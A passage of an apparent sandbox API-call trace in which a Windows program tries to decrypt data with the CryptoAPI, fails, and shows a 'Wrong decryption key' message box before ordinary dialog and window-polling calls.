wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.829] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0041.830] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.830] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.830] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0041.830] PeekMessageW (in: lpMsg=0xbf60cfe7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe7a0) returned 0 [0041.830] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0041.830] PeekMessageW (in: lpMsg=0xbf60cfe7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe7a0) returned 0 [0041.831] PeekMessageW (in: lpMsg=0xbf60cfe7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe7a0) returned 0 [0041.831] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.831] PeekMessageW (in: lpMsg=0xbf60cfdf00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfdf00) returned 0 [0041.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xbf60f35310, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0041.832] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0041.832] CryptGetKeyParam (in: hKey=0xbf60f15730, dwParam=0x7, pbData=0xbf60df97e0, pdwDataLen=0xbf60cfdf68, dwFlags=0x0 | out: pbData=0xbf60df97e0*=0x660e, pdwDataLen=0xbf60cfdf68*=0x4) returned 1 [0041.833] PeekMessageW (in: lpMsg=0xbf60cfe7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe7a0) returned 0 [0041.833] PeekMessageW (in: lpMsg=0xbf60cfe7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe7a0) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0041.834] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfe540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe540) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfe830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe830) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfe830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe830) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.834] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.837] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0041.837] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.837] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.837] PeekMessageW (in: lpMsg=0xbf60cfe5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe5c0) returned 0 [0041.837] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.837] CryptDecrypt (in: hKey=0xbf60f15730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf60f732a0, pdwDataLen=0xbf60cfe678 | out: pbData=0xbf60f732a0, pdwDataLen=0xbf60cfe678) returned 0 [0041.837] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.837] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.837] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.837] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.838] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0041.838] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfe830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe830) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfe830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe830) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfe540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe540) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.838] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.839] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0041.839] PeekMessageW (in: lpMsg=0xbf60cff0a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff0a0) returned 0 [0041.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe800) returned 0 [0041.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.839] CryptDestroyKey (hKey=0xbf60f15730) returned 1 [0041.839] PeekMessageW (in: lpMsg=0xbf60cff0a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff0a0) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cff0a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff0a0) returned 0 [0041.839] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0041.839] PeekMessageW (in: lpMsg=0xbf60cfed80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfed80) returned 0 [0041.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfea60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfea60) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfea60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfea60) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfed80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfed80) returned 0 [0041.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfe770, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe770) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfed80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfed80) returned 0 [0041.839] PeekMessageW (in: lpMsg=0xbf60cfed80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfed80) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff0a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff0a0) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff0a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff0a0) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.840] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0041.840] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.840] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0041.840] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.840] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0041.840] PeekMessageW (in: lpMsg=0xbf60cfec20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfec20) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.840] PeekMessageW (in: lpMsg=0xbf60cfecb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfecb0) returned 0 [0041.840] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0041.840] PeekMessageW (in: lpMsg=0xbf60cfecb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfecb0) returned 0 [0041.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.840] CryptReleaseContext (hProv=0xbf60f6d4c0, dwFlags=0x0) returned 1 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.840] PeekMessageW (in: lpMsg=0xbf60cfecb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfecb0) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.840] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.841] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.841] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.841] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.841] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.841] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0041.846] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.846] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x86, wParam=0x0, lParam=0xe017e) returned 0x1 [0041.846] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.846] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.846] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x6, wParam=0x0, lParam=0xe017e) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetWindowLongW (hWnd=0x8018c, nIndex=-20) returned 256 [0041.847] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x84, wParam=0x0, lParam=0x1fb035e) returned 0x1 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetClientRect (in: hWnd=0x8018c, lpRect=0xbf60cfefc0 | out: lpRect=0xbf60cfefc0) returned 1 [0041.847] GetCursorPos (in: lpPoint=0xbf60cfefe0 | out: lpPoint=0xbf60cfefe0*(x=862, y=507)) returned 1 [0041.847] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cfefe0 | out: lpPoint=0xbf60cfefe0) returned 1 [0041.847] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0041.847] SetCursor (hCursor=0x10003) returned 0x10007 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x200, wParam=0x0, lParam=0x185021d) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x1b0106e3, lParam=0x0) returned 0x1 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.847] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x1b0106e3, lParam=0x4) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.847] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.847] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.847] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.848] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.848] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.848] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.849] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.849] GetWindowLongW (hWnd=0x8018c, nIndex=-20) returned 256 [0041.849] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x84, wParam=0x0, lParam=0x1fb035e) returned 0x1 [0041.849] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.849] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.849] GetClientRect (in: hWnd=0x8018c, lpRect=0xbf60cfefc0 | out: lpRect=0xbf60cfefc0) returned 1 [0041.849] GetCursorPos (in: lpPoint=0xbf60cfefe0 | out: lpPoint=0xbf60cfefe0*(x=862, y=507)) returned 1 [0041.849] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cfefe0 | out: lpPoint=0xbf60cfefe0) returned 1 [0041.849] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0041.849] SetCursor (hCursor=0x10003) returned 0x10003 [0041.849] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.849] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x200, wParam=0x0, lParam=0x185021d) returned 0x0 [0041.854] GetForegroundWindow () returned 0xe017e [0041.854] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0041.900] GetForegroundWindow () returned 0xe017e [0041.901] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0041.946] GetForegroundWindow () returned 0xe017e [0041.946] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0041.996] GetForegroundWindow () returned 0xe017e [0041.996] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0042.043] GetForegroundWindow () returned 0xe017e [0042.043] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0042.090] GetForegroundWindow () returned 0xe017e [0042.090] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0042.134] GetForegroundWindow () returned 0xe017e [0042.134] GetWindowLongPtrW (hWnd=0xe017e, nIndex=-21) returned 0xbf60cff6e0 [0042.186] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.186] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x46, wParam=0x0, lParam=0xbf60cff2a0) returned 0x0 [0042.186] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.187] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x47, wParam=0x0, lParam=0xbf60cff2a0) returned 0x0 [0042.187] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0042.187] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0042.187] 